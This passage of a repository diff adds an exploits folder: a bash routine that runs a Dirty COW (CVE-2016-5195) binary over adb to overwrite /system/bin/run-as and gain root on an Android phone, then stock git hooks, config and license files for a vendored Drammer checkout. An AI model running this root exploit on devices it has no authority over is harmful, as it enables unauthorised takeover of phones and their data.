| 23 | + local USERID=$(echo '/data/local/tmp/id -u;exit' | eval "$rootcmd" 2> /dev/null | tr -d $'\r') | ||
| 24 | + if [[ "$USERID" == "0" ]]; then | ||
| 25 | + #exploit successful | ||
| 26 | + echo "$rootcmd" | ||
| 27 | + else | ||
| 28 | + #exploit failed | ||
| 29 | + return 1 | ||
| 30 | + fi | ||
| 31 | + return 0 | ||
| 32 | +} | ||
| 33 | + | ||
| 34 | +function post_cve_2016_5195() | ||
| 35 | +{ | ||
| 36 | + local rootcmd="adb -s $1 shell run-as | tail -n +6" | ||
| 37 | + local overwrite=0 | ||
| 38 | + adb -s $1 shell /data/local/tmp/dcow /data/local/tmp/run-as_orig /system/bin/run-as &> /dev/null | ||
| 39 | + | ||
| 40 | + # Check 1: If root is still possible | ||
| 41 | + local USERID=$(echo '/data/local/tmp/id -u;exit' | eval "$rootcmd" 2> /dev/null | tr -d $'\r') | ||
| 42 | + if [[ "$USERID" == "0" ]]; then | ||
| 43 | + echo "ERROR: UID still 0!!" | ||
| 44 | + overwrite=1 | ||
| 45 | + fi | ||
| 46 | + # Check 2: Hashes | ||
| 47 | + local ORIGHASH="$(echo $(adb -s $1 shell md5sum /data/local/tmp/run-as_orig) | cut -d' ' -f 1)" | ||
| 48 | + local CURRENTHASH="$(echo $(adb -s $1 shell md5sum /system/bin/run-as) | cut -d' ' -f 1)" | ||
| 49 | + if [[ "$ORIGHASH" != "$CURRENTHASH" ]]; then | ||
| 50 | + echo "ERROR: MD5 checksum mismatch!!" | ||
| 51 | + overwrite=1 | ||
| 52 | + fi | ||
| 53 | + | ||
| 54 | + if [[ $overwrite == 1 ]]; then | ||
| 55 | + # A message you never want to see..." | ||
| 56 | + echo "CRITICAL: /system/bin/run-as has been POSSIBLY overwritten. In that case, manual recovery WILL be necessary. Do NOT reboot the phone under any circumstances if you don't know how to proceed and exercise caution. /data/local/tmp/dcow and /data/local/tmp/run-as_orig will be preserved, along the copy in the dump folder. May God help you." | ||
| 57 | + fi | ||
| 58 | + | ||
| 59 | + adb -s $1 shell rm /data/local/tmp/run-as &> /dev/null | ||
| 60 | + if [[ $overwrite == 0 ]]; then | ||
| 61 | + adb -s $1 shell rm /data/local/tmp/dcow &> /dev/null | ||
| 62 | + adb -s $1 shell rm /data/local/tmp/run-as_orig &> /dev/null | ||
| 63 | + fi | ||
| 64 | +} |
exploits/drammer/.git-disabled/HEAD
0 → 100644
exploits/drammer/.git-disabled/config
0 → 100644
| 1 | +++ a/exploits/drammer/.git-disabled/config | ||
| 1 | +[core] | ||
| 2 | + repositoryformatversion = 0 | ||
| 3 | + filemode = true | ||
| 4 | + bare = false | ||
| 5 | + logallrefupdates = true | ||
| 6 | +[remote "origin"] | ||
| 7 | + url = https://github.com/vusec/drammer | ||
| 8 | + fetch = +refs/heads/*:refs/remotes/origin/* | ||
| 9 | +[branch "master"] | ||
| 10 | + remote = origin | ||
| 11 | + merge = refs/heads/master |
exploits/drammer/.git-disabled/description
0 → 100644
exploits/drammer/.git-disabled/hooks/applypatch-msg.sample
0 → 100755
| 1 | +++ a/exploits/drammer/.git-disabled/hooks/applypatch-msg.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to check the commit log message taken by | ||
| 4 | +# applypatch from an e-mail message. | ||
| 5 | +# | ||
| 6 | +# The hook should exit with non-zero status after issuing an | ||
| 7 | +# appropriate message if it wants to stop the commit. The hook is | ||
| 8 | +# allowed to edit the commit message file. | ||
| 9 | +# | ||
| 10 | +# To enable this hook, rename this file to "applypatch-msg". | ||
| 11 | + | ||
| 12 | +. git-sh-setup | ||
| 13 | +commitmsg="$(git rev-parse --git-path hooks/commit-msg)" | ||
| 14 | +test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"} | ||
| 15 | +: |
exploits/drammer/.git-disabled/hooks/commit-msg.sample
0 → 100755
| 1 | +++ a/exploits/drammer/.git-disabled/hooks/commit-msg.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to check the commit log message. | ||
| 4 | +# Called by "git commit" with one argument, the name of the file | ||
| 5 | +# that has the commit message. The hook should exit with non-zero | ||
| 6 | +# status after issuing an appropriate message if it wants to stop the | ||
| 7 | +# commit. The hook is allowed to edit the commit message file. | ||
| 8 | +# | ||
| 9 | +# To enable this hook, rename this file to "commit-msg". | ||
| 10 | + | ||
| 11 | +# Uncomment the below to add a Signed-off-by line to the message. | ||
| 12 | +# Doing this in a hook is a bad idea in general, but the prepare-commit-msg | ||
| 13 | +# hook is more suited to it. | ||
| 14 | +# | ||
| 15 | +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') | ||
| 16 | +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" | ||
| 17 | + | ||
| 18 | +# This example catches duplicate Signed-off-by lines. | ||
| 19 | + | ||
| 20 | +test "" = "$(grep '^Signed-off-by: ' "$1" | | ||
| 21 | + sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { | ||
| 22 | + echo >&2 Duplicate Signed-off-by lines. | ||
| 23 | + exit 1 | ||
| 24 | +} |
exploits/drammer/.git-disabled/hooks/post-update.sample
0 → 100755
exploits/drammer/.git-disabled/hooks/pre-applypatch.sample
0 → 100755
| 1 | +++ a/exploits/drammer/.git-disabled/hooks/pre-applypatch.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to verify what is about to be committed | ||
| 4 | +# by applypatch from an e-mail message. | ||
| 5 | +# | ||
| 6 | +# The hook should exit with non-zero status after issuing an | ||
| 7 | +# appropriate message if it wants to stop the commit. | ||
| 8 | +# | ||
| 9 | +# To enable this hook, rename this file to "pre-applypatch". | ||
| 10 | + | ||
| 11 | +. git-sh-setup | ||
| 12 | +precommit="$(git rev-parse --git-path hooks/pre-commit)" | ||
| 13 | +test -x "$precommit" && exec "$precommit" ${1+"$@"} | ||
| 14 | +: |
exploits/drammer/.git-disabled/hooks/pre-commit.sample
0 → 100755
| 1 | +++ a/exploits/drammer/.git-disabled/hooks/pre-commit.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to verify what is about to be committed. | ||
| 4 | +# Called by "git commit" with no arguments. The hook should | ||
| 5 | +# exit with non-zero status after issuing an appropriate message if | ||
| 6 | +# it wants to stop the commit. | ||
| 7 | +# | ||
| 8 | +# To enable this hook, rename this file to "pre-commit". | ||
| 9 | + | ||
| 10 | +if git rev-parse --verify HEAD >/dev/null 2>&1 | ||
| 11 | +then | ||
| 12 | + against=HEAD | ||
| 13 | +else | ||
| 14 | + # Initial commit: diff against an empty tree object | ||
| 15 | + against=4b825dc642cb6eb9a060e54bf8d69288fbee4904 | ||
| 16 | +fi | ||
| 17 | + | ||
| 18 | +# If you want to allow non-ASCII filenames set this variable to true. | ||
| 19 | +allownonascii=$(git config --bool hooks.allownonascii) | ||
| 20 | + | ||
| 21 | +# Redirect output to stderr. | ||
| 22 | +exec 1>&2 | ||
| 23 | + | ||
| 24 | +# Cross platform projects tend to avoid non-ASCII filenames; prevent | ||
| 25 | +# them from being added to the repository. We exploit the fact that the | ||
| 26 | +# printable range starts at the space character and ends with tilde. | ||
| 27 | +if [ "$allownonascii" != "true" ] && | ||
| 28 | + # Note that the use of brackets around a tr range is ok here, (it's | ||
| 29 | + # even required, for portability to Solaris 10's /usr/bin/tr), since | ||
| 30 | + # the square bracket bytes happen to fall in the designated range. | ||
| 31 | + test $(git diff --cached --name-only --diff-filter=A -z $against | | ||
| 32 | + LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0 | ||
| 33 | +then | ||
| 34 | + cat <<\EOF | ||
| 35 | +Error: Attempt to add a non-ASCII file name. | ||
| 36 | + | ||
| 37 | +This can cause problems if you want to work with people on other platforms. | ||
| 38 | + | ||
| 39 | +To be portable it is advisable to rename the file. | ||
| 40 | + | ||
| 41 | +If you know what you are doing you can disable this check using: | ||
| 42 | + | ||
| 43 | + git config hooks.allownonascii true | ||
| 44 | +EOF | ||
| 45 | + exit 1 | ||
| 46 | +fi | ||
| 47 | + | ||
| 48 | +# If there are whitespace errors, print the offending file names and fail. | ||
| 49 | +exec git diff-index --check --cached $against -- |
exploits/drammer/.git-disabled/hooks/pre-push.sample
0 → 100755
| 1 | +++ a/exploits/drammer/.git-disabled/hooks/pre-push.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | + | ||
| 3 | +# An example hook script to verify what is about to be pushed. Called by "git | ||
| 4 | +# push" after it has checked the remote status, but before anything has been | ||
| 5 | +# pushed. If this script exits with a non-zero status nothing will be pushed. | ||
| 6 | +# | ||
| 7 | +# This hook is called with the following parameters: | ||
| 8 | +# | ||
| 9 | +# $1 -- Name of the remote to which the push is being done | ||
| 10 | +# $2 -- URL to which the push is being done | ||
| 11 | +# | ||
| 12 | +# If pushing without using a named remote those arguments will be equal. | ||
| 13 | +# | ||
| 14 | +# Information about the commits which are being pushed is supplied as lines to | ||
| 15 | +# the standard input in the form: | ||
| 16 | +# | ||
| 17 | +# <local ref> <local sha1> <remote ref> <remote sha1> | ||
| 18 | +# | ||
| 19 | +# This sample shows how to prevent push of commits where the log message starts | ||
| 20 | +# with "WIP" (work in progress). | ||
| 21 | + | ||
| 22 | +remote="$1" | ||
| 23 | +url="$2" | ||
| 24 | + | ||
| 25 | +z40=0000000000000000000000000000000000000000 | ||
| 26 | + | ||
| 27 | +while read local_ref local_sha remote_ref remote_sha | ||
| 28 | +do | ||
| 29 | + if [ "$local_sha" = $z40 ] | ||
| 30 | + then | ||
| 31 | + # Handle delete | ||
| 32 | + : | ||
| 33 | + else | ||
| 34 | + if [ "$remote_sha" = $z40 ] | ||
| 35 | + then | ||
| 36 | + # New branch, examine all commits | ||
| 37 | + range="$local_sha" | ||
| 38 | + else | ||
| 39 | + # Update to existing branch, examine new commits | ||
| 40 | + range="$remote_sha..$local_sha" | ||
| 41 | + fi | ||
| 42 | + | ||
| 43 | + # Check for WIP commit | ||
| 44 | + commit=`git rev-list -n 1 --grep '^WIP' "$range"` | ||
| 45 | + if [ -n "$commit" ] | ||
| 46 | + then | ||
| 47 | + echo >&2 "Found WIP commit in $local_ref, not pushing" | ||
| 48 | + exit 1 | ||
| 49 | + fi | ||
| 50 | + fi | ||
| 51 | +done | ||
| 52 | + | ||
| 53 | +exit 0 |
exploits/drammer/.git-disabled/hooks/pre-rebase.sample
0 → 100755
| 1 | +++ a/exploits/drammer/.git-disabled/hooks/pre-rebase.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# Copyright (c) 2006, 2008 Junio C Hamano | ||
| 4 | +# | ||
| 5 | +# The "pre-rebase" hook is run just before "git rebase" starts doing | ||
| 6 | +# its job, and can prevent the command from running by exiting with | ||
| 7 | +# non-zero status. | ||
| 8 | +# | ||
| 9 | +# The hook is called with the following parameters: | ||
| 10 | +# | ||
| 11 | +# $1 -- the upstream the series was forked from. | ||
| 12 | +# $2 -- the branch being rebased (or empty when rebasing the current branch). | ||
| 13 | +# | ||
| 14 | +# This sample shows how to prevent topic branches that are already | ||
| 15 | +# merged to 'next' branch from getting rebased, because allowing it | ||
| 16 | +# would result in rebasing already published history. | ||
| 17 | + | ||
| 18 | +publish=next | ||
| 19 | +basebranch="$1" | ||
| 20 | +if test "$#" = 2 | ||
| 21 | +then | ||
| 22 | + topic="refs/heads/$2" | ||
| 23 | +else | ||
| 24 | + topic=`git symbolic-ref HEAD` || | ||
| 25 | + exit 0 ;# we do not interrupt rebasing detached HEAD | ||
| 26 | +fi | ||
| 27 | + | ||
| 28 | +case "$topic" in | ||
| 29 | +refs/heads/??/*) | ||
| 30 | + ;; | ||
| 31 | +*) | ||
| 32 | + exit 0 ;# we do not interrupt others. | ||
| 33 | + ;; | ||
| 34 | +esac | ||
| 35 | + | ||
| 36 | +# Now we are dealing with a topic branch being rebased | ||
| 37 | +# on top of master. Is it OK to rebase it? | ||
| 38 | + | ||
| 39 | +# Does the topic really exist? | ||
| 40 | +git show-ref -q "$topic" || { | ||
| 41 | + echo >&2 "No such branch $topic" | ||
| 42 | + exit 1 | ||
| 43 | +} | ||
| 44 | + | ||
| 45 | +# Is topic fully merged to master? | ||
| 46 | +not_in_master=`git rev-list --pretty=oneline ^master "$topic"` | ||
| 47 | +if test -z "$not_in_master" | ||
| 48 | +then | ||
| 49 | + echo >&2 "$topic is fully merged to master; better remove it." | ||
| 50 | + exit 1 ;# we could allow it, but there is no point. | ||
| 51 | +fi | ||
| 52 | + | ||
| 53 | +# Is topic ever merged to next? If so you should not be rebasing it. | ||
| 54 | +only_next_1=`git rev-list ^master "^$topic" ${publish} | sort` | ||
| 55 | +only_next_2=`git rev-list ^master ${publish} | sort` | ||
| 56 | +if test "$only_next_1" = "$only_next_2" | ||
| 57 | +then | ||
| 58 | + not_in_topic=`git rev-list "^$topic" master` | ||
| 59 | + if test -z "$not_in_topic" | ||
| 60 | + then | ||
| 61 | + echo >&2 "$topic is already up-to-date with master" | ||
| 62 | + exit 1 ;# we could allow it, but there is no point. | ||
| 63 | + else | ||
| 64 | + exit 0 | ||
| 65 | + fi | ||
| 66 | +else | ||
| 67 | + not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"` | ||
| 68 | + /usr/bin/perl -e ' | ||
| 69 | + my $topic = $ARGV[0]; | ||
| 70 | + my $msg = "* $topic has commits already merged to public branch:\n"; | ||
| 71 | + my (%not_in_next) = map { | ||
| 72 | + /^([0-9a-f]+) /; | ||
| 73 | + ($1 => 1); | ||
| 74 | + } split(/\n/, $ARGV[1]); | ||
| 75 | + for my $elem (map { | ||
| 76 | + /^([0-9a-f]+) (.*)$/; | ||
| 77 | + [$1 => $2]; | ||
| 78 | + } split(/\n/, $ARGV[2])) { | ||
| 79 | + if (!exists $not_in_next{$elem->[0]}) { | ||
| 80 | + if ($msg) { | ||
| 81 | + print STDERR $msg; | ||
| 82 | + undef $msg; | ||
| 83 | + } | ||
| 84 | + print STDERR " $elem->[1]\n"; | ||
| 85 | + } | ||
| 86 | + } | ||
| 87 | + ' "$topic" "$not_in_next" "$not_in_master" | ||
| 88 | + exit 1 | ||
| 89 | +fi | ||
| 90 | + | ||
| 91 | +<<\DOC_END | ||
| 92 | + | ||
| 93 | +This sample hook safeguards topic branches that have been | ||
| 94 | +published from being rewound. | ||
| 95 | + | ||
| 96 | +The workflow assumed here is: | ||
| 97 | + | ||
| 98 | + * Once a topic branch forks from "master", "master" is never | ||
| 99 | + merged into it again (either directly or indirectly). | ||
| 100 | + | ||
| 101 | + * Once a topic branch is fully cooked and merged into "master", | ||
| 102 | + it is deleted. If you need to build on top of it to correct | ||
| 103 | + earlier mistakes, a new topic branch is created by forking at | ||
| 104 | + the tip of the "master". This is not strictly necessary, but | ||
| 105 | + it makes it easier to keep your history simple. | ||
| 106 | + | ||
| 107 | + * Whenever you need to test or publish your changes to topic | ||
| 108 | + branches, merge them into "next" branch. | ||
| 109 | + | ||
| 110 | +The script, being an example, hardcodes the publish branch name | ||
| 111 | +to be "next", but it is trivial to make it configurable via | ||
| 112 | +$GIT_DIR/config mechanism. | ||
| 113 | + | ||
| 114 | +With this workflow, you would want to know: | ||
| 115 | + | ||
| 116 | +(1) ... if a topic branch has ever been merged to "next". Young | ||
| 117 | + topic branches can have stupid mistakes you would rather | ||
| 118 | + clean up before publishing, and things that have not been | ||
| 119 | + merged into other branches can be easily rebased without | ||
| 120 | + affecting other people. But once it is published, you would | ||
| 121 | + not want to rewind it. | ||
| 122 | + | ||
| 123 | +(2) ... if a topic branch has been fully merged to "master". | ||
| 124 | + Then you can delete it. More importantly, you should not | ||
| 125 | + build on top of it -- other people may already want to | ||
| 126 | + change things related to the topic as patches against your | ||
| 127 | + "master", so if you need further changes, it is better to | ||
| 128 | + fork the topic (perhaps with the same name) afresh from the | ||
| 129 | + tip of "master". | ||
| 130 | + | ||
| 131 | +Let's look at this example: | ||
| 132 | + | ||
| 133 | + o---o---o---o---o---o---o---o---o---o "next" | ||
| 134 | + / / / / | ||
| 135 | + / a---a---b A / / | ||
| 136 | + / / / / | ||
| 137 | + / / c---c---c---c B / | ||
| 138 | + / / / \ / | ||
| 139 | + / / / b---b C \ / | ||
| 140 | + / / / / \ / | ||
| 141 | + ---o---o---o---o---o---o---o---o---o---o---o "master" | ||
| 142 | + | ||
| 143 | + | ||
| 144 | +A, B and C are topic branches. | ||
| 145 | + | ||
| 146 | + * A has one fix since it was merged up to "next". | ||
| 147 | + | ||
| 148 | + * B has finished. It has been fully merged up to "master" and "next", | ||
| 149 | + and is ready to be deleted. | ||
| 150 | + | ||
| 151 | + * C has not merged to "next" at all. | ||
| 152 | + | ||
| 153 | +We would want to allow C to be rebased, refuse A, and encourage | ||
| 154 | +B to be deleted. | ||
| 155 | + | ||
| 156 | +To compute (1): | ||
| 157 | + | ||
| 158 | + git rev-list ^master ^topic next | ||
| 159 | + git rev-list ^master next | ||
| 160 | + | ||
| 161 | + if these match, topic has not merged in next at all. | ||
| 162 | + | ||
| 163 | +To compute (2): | ||
| 164 | + | ||
| 165 | + git rev-list master..topic | ||
| 166 | + | ||
| 167 | + if this is empty, it is fully merged to "master". | ||
| 168 | + | ||
| 169 | +DOC_END |
exploits/drammer/.git-disabled/hooks/prepare-commit-msg.sample
0 → 100755
| 1 | +++ a/exploits/drammer/.git-disabled/hooks/prepare-commit-msg.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to prepare the commit log message. | ||
| 4 | +# Called by "git commit" with the name of the file that has the | ||
| 5 | +# commit message, followed by the description of the commit | ||
| 6 | +# message's source. The hook's purpose is to edit the commit | ||
| 7 | +# message file. If the hook fails with a non-zero status, | ||
| 8 | +# the commit is aborted. | ||
| 9 | +# | ||
| 10 | +# To enable this hook, rename this file to "prepare-commit-msg". | ||
| 11 | + | ||
| 12 | +# This hook includes three examples. The first comments out the | ||
| 13 | +# "Conflicts:" part of a merge commit. | ||
| 14 | +# | ||
| 15 | +# The second includes the output of "git diff --name-status -r" | ||
| 16 | +# into the message, just before the "git status" output. It is | ||
| 17 | +# commented because it doesn't cope with --amend or with squashed | ||
| 18 | +# commits. | ||
| 19 | +# | ||
| 20 | +# The third example adds a Signed-off-by line to the message, that can | ||
| 21 | +# still be edited. This is rarely a good idea. | ||
| 22 | + | ||
| 23 | +case "$2,$3" in | ||
| 24 | + merge,) | ||
| 25 | + /usr/bin/perl -i.bak -ne 's/^/# /, s/^# #/#/ if /^Conflicts/ .. /#/; print' "$1" ;; | ||
| 26 | + | ||
| 27 | +# ,|template,) | ||
| 28 | +# /usr/bin/perl -i.bak -pe ' | ||
| 29 | +# print "\n" . `git diff --cached --name-status -r` | ||
| 30 | +# if /^#/ && $first++ == 0' "$1" ;; | ||
| 31 | + | ||
| 32 | + *) ;; | ||
| 33 | +esac | ||
| 34 | + | ||
| 35 | +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') | ||
| 36 | +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" |
exploits/drammer/.git-disabled/hooks/update.sample
0 → 100755
| 1 | +++ a/exploits/drammer/.git-disabled/hooks/update.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to block unannotated tags from entering. | ||
| 4 | +# Called by "git receive-pack" with arguments: refname sha1-old sha1-new | ||
| 5 | +# | ||
| 6 | +# To enable this hook, rename this file to "update". | ||
| 7 | +# | ||
| 8 | +# Config | ||
| 9 | +# ------ | ||
| 10 | +# hooks.allowunannotated | ||
| 11 | +# This boolean sets whether unannotated tags will be allowed into the | ||
| 12 | +# repository. By default they won't be. | ||
| 13 | +# hooks.allowdeletetag | ||
| 14 | +# This boolean sets whether deleting tags will be allowed in the | ||
| 15 | +# repository. By default they won't be. | ||
| 16 | +# hooks.allowmodifytag | ||
| 17 | +# This boolean sets whether a tag may be modified after creation. By default | ||
| 18 | +# it won't be. | ||
| 19 | +# hooks.allowdeletebranch | ||
| 20 | +# This boolean sets whether deleting branches will be allowed in the | ||
| 21 | +# repository. By default they won't be. | ||
| 22 | +# hooks.denycreatebranch | ||
| 23 | +# This boolean sets whether remotely creating branches will be denied | ||
| 24 | +# in the repository. By default this is allowed. | ||
| 25 | +# | ||
| 26 | + | ||
| 27 | +# --- Command line | ||
| 28 | +refname="$1" | ||
| 29 | +oldrev="$2" | ||
| 30 | +newrev="$3" | ||
| 31 | + | ||
| 32 | +# --- Safety check | ||
| 33 | +if [ -z "$GIT_DIR" ]; then | ||
| 34 | + echo "Don't run this script from the command line." >&2 | ||
| 35 | + echo " (if you want, you could supply GIT_DIR then run" >&2 | ||
| 36 | + echo " $0 <ref> <oldrev> <newrev>)" >&2 | ||
| 37 | + exit 1 | ||
| 38 | +fi | ||
| 39 | + | ||
| 40 | +if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then | ||
| 41 | + echo "usage: $0 <ref> <oldrev> <newrev>" >&2 | ||
| 42 | + exit 1 | ||
| 43 | +fi | ||
| 44 | + | ||
| 45 | +# --- Config | ||
| 46 | +allowunannotated=$(git config --bool hooks.allowunannotated) | ||
| 47 | +allowdeletebranch=$(git config --bool hooks.allowdeletebranch) | ||
| 48 | +denycreatebranch=$(git config --bool hooks.denycreatebranch) | ||
| 49 | +allowdeletetag=$(git config --bool hooks.allowdeletetag) | ||
| 50 | +allowmodifytag=$(git config --bool hooks.allowmodifytag) | ||
| 51 | + | ||
| 52 | +# check for no description | ||
| 53 | +projectdesc=$(sed -e '1q' "$GIT_DIR/description") | ||
| 54 | +case "$projectdesc" in | ||
| 55 | +"Unnamed repository"* | "") | ||
| 56 | + echo "*** Project description file hasn't been set" >&2 | ||
| 57 | + exit 1 | ||
| 58 | + ;; | ||
| 59 | +esac | ||
| 60 | + | ||
| 61 | +# --- Check types | ||
| 62 | +# if $newrev is 0000...0000, it's a commit to delete a ref. | ||
| 63 | +zero="0000000000000000000000000000000000000000" | ||
| 64 | +if [ "$newrev" = "$zero" ]; then | ||
| 65 | + newrev_type=delete | ||
| 66 | +else | ||
| 67 | + newrev_type=$(git cat-file -t $newrev) | ||
| 68 | +fi | ||
| 69 | + | ||
| 70 | +case "$refname","$newrev_type" in | ||
| 71 | + refs/tags/*,commit) | ||
| 72 | + # un-annotated tag | ||
| 73 | + short_refname=${refname##refs/tags/} | ||
| 74 | + if [ "$allowunannotated" != "true" ]; then | ||
| 75 | + echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2 | ||
| 76 | + echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2 | ||
| 77 | + exit 1 | ||
| 78 | + fi | ||
| 79 | + ;; | ||
| 80 | + refs/tags/*,delete) | ||
| 81 | + # delete tag | ||
| 82 | + if [ "$allowdeletetag" != "true" ]; then | ||
| 83 | + echo "*** Deleting a tag is not allowed in this repository" >&2 | ||
| 84 | + exit 1 | ||
| 85 | + fi | ||
| 86 | + ;; | ||
| 87 | + refs/tags/*,tag) | ||
| 88 | + # annotated tag | ||
| 89 | + if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1 | ||
| 90 | + then | ||
| 91 | + echo "*** Tag '$refname' already exists." >&2 | ||
| 92 | + echo "*** Modifying a tag is not allowed in this repository." >&2 | ||
| 93 | + exit 1 | ||
| 94 | + fi | ||
| 95 | + ;; | ||
| 96 | + refs/heads/*,commit) | ||
| 97 | + # branch | ||
| 98 | + if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then | ||
| 99 | + echo "*** Creating a branch is not allowed in this repository" >&2 | ||
| 100 | + exit 1 | ||
| 101 | + fi | ||
| 102 | + ;; | ||
| 103 | + refs/heads/*,delete) | ||
| 104 | + # delete branch | ||
| 105 | + if [ "$allowdeletebranch" != "true" ]; then | ||
| 106 | + echo "*** Deleting a branch is not allowed in this repository" >&2 | ||
| 107 | + exit 1 | ||
| 108 | + fi | ||
| 109 | + ;; | ||
| 110 | + refs/remotes/*,commit) | ||
| 111 | + # tracking branch | ||
| 112 | + ;; | ||
| 113 | + refs/remotes/*,delete) | ||
| 114 | + # delete tracking branch | ||
| 115 | + if [ "$allowdeletebranch" != "true" ]; then | ||
| 116 | + echo "*** Deleting a tracking branch is not allowed in this repository" >&2 | ||
| 117 | + exit 1 | ||
| 118 | + fi | ||
| 119 | + ;; | ||
| 120 | + *) | ||
| 121 | + # Anything else (is there anything else?) | ||
| 122 | + echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2 | ||
| 123 | + exit 1 | ||
| 124 | + ;; | ||
| 125 | +esac | ||
| 126 | + | ||
| 127 | +# --- Finished | ||
| 128 | +exit 0 |
exploits/drammer/.git-disabled/index
0 → 100644
No preview for this file type
exploits/drammer/.git-disabled/info/exclude
0 → 100644
| 1 | +++ a/exploits/drammer/.git-disabled/info/exclude | ||
| 1 | +# git ls-files --others --exclude-from=.git/info/exclude | ||
| 2 | +# Lines that start with '#' are comments. | ||
| 3 | +# For a project mostly in C, the following would be a good set of | ||
| 4 | +# exclude patterns (uncomment them if you want to use them): | ||
| 5 | +# *.[oa] | ||
| 6 | +# *~ |
exploits/drammer/.git-disabled/logs/HEAD
0 → 100644
exploits/drammer/.git-disabled/logs/refs/heads/master
0 → 100644
exploits/drammer/.git-disabled/logs/refs/remotes/origin/HEAD
0 → 100644
exploits/drammer/.git-disabled/objects/pack/pack-b2474f6460709f7ba0c1974e8f2314e867abdb5b.idx
0 → 100644
No preview for this file type
exploits/drammer/.git-disabled/objects/pack/pack-b2474f6460709f7ba0c1974e8f2314e867abdb5b.pack
0 → 100644
No preview for this file type
exploits/drammer/.git-disabled/packed-refs
0 → 100644
exploits/drammer/.git-disabled/refs/heads/master
0 → 100644
exploits/drammer/.git-disabled/refs/remotes/origin/HEAD
0 → 100644
exploits/drammer/.gitignore
0 → 100644
exploits/drammer/LICENSE-2.0.txt
0 → 100644
| 1 | +++ a/exploits/drammer/LICENSE-2.0.txt | ||
| 1 | + | ||
| 2 | + Apache License | ||
| 3 | + Version 2.0, January 2004 | ||
| 4 | + http://www.apache.org/licenses/ | ||
| 5 | + | ||
| 6 | + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION | ||
| 7 | + | ||
| 8 | + 1. Definitions. | ||
| 9 | + | ||
| 10 | + "License" shall mean the terms and conditions for use, reproduction, | ||
| 11 | + and distribution as defined by Sections 1 through 9 of this document. | ||
| 12 | + | ||
| 13 | + "Licensor" shall mean the copyright owner or entity authorized by | ||
| 14 | + the copyright owner that is granting the License. | ||
| 15 | + | ||
| 16 | + "Legal Entity" shall mean the union of the acting entity and all | ||
| 17 | + other entities that control, are controlled by, or are under common | ||
| 18 | + control with that entity. For the purposes of this definition, | ||
| 19 | + "control" means (i) the power, direct or indirect, to cause the | ||
| 20 | + direction or management of such entity, whether by contract or | ||
| 21 | + otherwise, or (ii) ownership of fifty percent (50%) or more of the | ||
| 22 | + outstanding shares, or (iii) beneficial ownership of such entity. | ||
| 23 | + | ||
| 24 | + "You" (or "Your") shall mean an individual or Legal Entity | ||
| 25 | + exercising permissions granted by this License. | ||
| 26 | + | ||
| 27 | + "Source" form shall mean the preferred form for making modifications, | ||
| 28 | + including but not limited to software source code, documentation | ||
| 29 | + source, and configuration files. | ||
| 30 | + | ||
| 31 | + "Object" form shall mean any form resulting from mechanical | ||
| 32 | + transformation or translation of a Source form, including but | ||
| 33 | + not limited to compiled object code, generated documentation, | ||
| 34 | + and conversions to other media types. | ||
| 35 | + | ||
| 36 | + "Work" shall mean the work of authorship, whether in Source or | ||
| 37 | + Object form, made available under the License, as indicated by a | ||
| 38 | + copyright notice that is included in or attached to the work | ||
| 39 | + (an example is provided in the Appendix below). | ||
| 40 | + | ||
| 41 | + "Derivative Works" shall mean any work, whether in Source or Object | ||
| 42 | + form, that is based on (or derived from) the Work and for which the | ||
| 43 | + editorial revisions, annotations, elaborations, or other modifications | ||
| 44 | + represent, as a whole, an original work of authorship. For the purposes | ||
| 45 | + of this License, Derivative Works shall not include works that remain | ||
| 46 | + separable from, or merely link (or bind by name) to the interfaces of, | ||
| 47 | + the Work and Derivative Works thereof. | ||
| 48 | + | ||
| 49 | + "Contribution" shall mean any work of authorship, including | ||
| 50 | + the original version of the Work and any modifications or additions | ||
| 51 | + to that Work or Derivative Works thereof, that is intentionally | ||
| 52 | + submitted to Licensor for inclusion in the Work by the copyright owner | ||
| 53 | + or by an individual or Legal Entity authorized to submit on behalf of | ||
| 54 | + the copyright owner. For the purposes of this definition, "submitted" | ||
| 55 | + means any form of electronic, verbal, or written communication sent | ||
| 56 | + to the Licensor or its representatives, including but not limited to | ||
| 57 | + communication on electronic mailing lists, source code control systems, | ||
| 58 | + and issue tracking systems that are managed by, or on behalf of, the | ||
| 59 | + Licensor for the purpose of discussing and improving the Work, but | ||
| 60 | + excluding communication that is conspicuously marked or otherwise | ||
| 61 | + designated in writing by the copyright owner as "Not a Contribution." | ||
| 62 | + | ||
| 63 | + "Contributor" shall mean Licensor and any individual or Legal Entity | ||
| 64 | + on behalf of whom a Contribution has been received by Licensor and | ||
| 65 | + subsequently incorporated within the Work. | ||
| 66 | + | ||
| 67 | + 2. Grant of Copyright License. Subject to the terms and conditions of | ||
| 68 | + this License, each Contributor hereby grants to You a perpetual, | ||
| 69 | + worldwide, non-exclusive, no-charge, royalty-free, irrevocable | ||
| 70 | + copyright license to reproduce, prepare Derivative Works of, | ||
| 71 | + publicly display, publicly perform, sublicense, and distribute the | ||
| 72 | + Work and such Derivative Works in Source or Object form. | ||
| 73 | + | ||
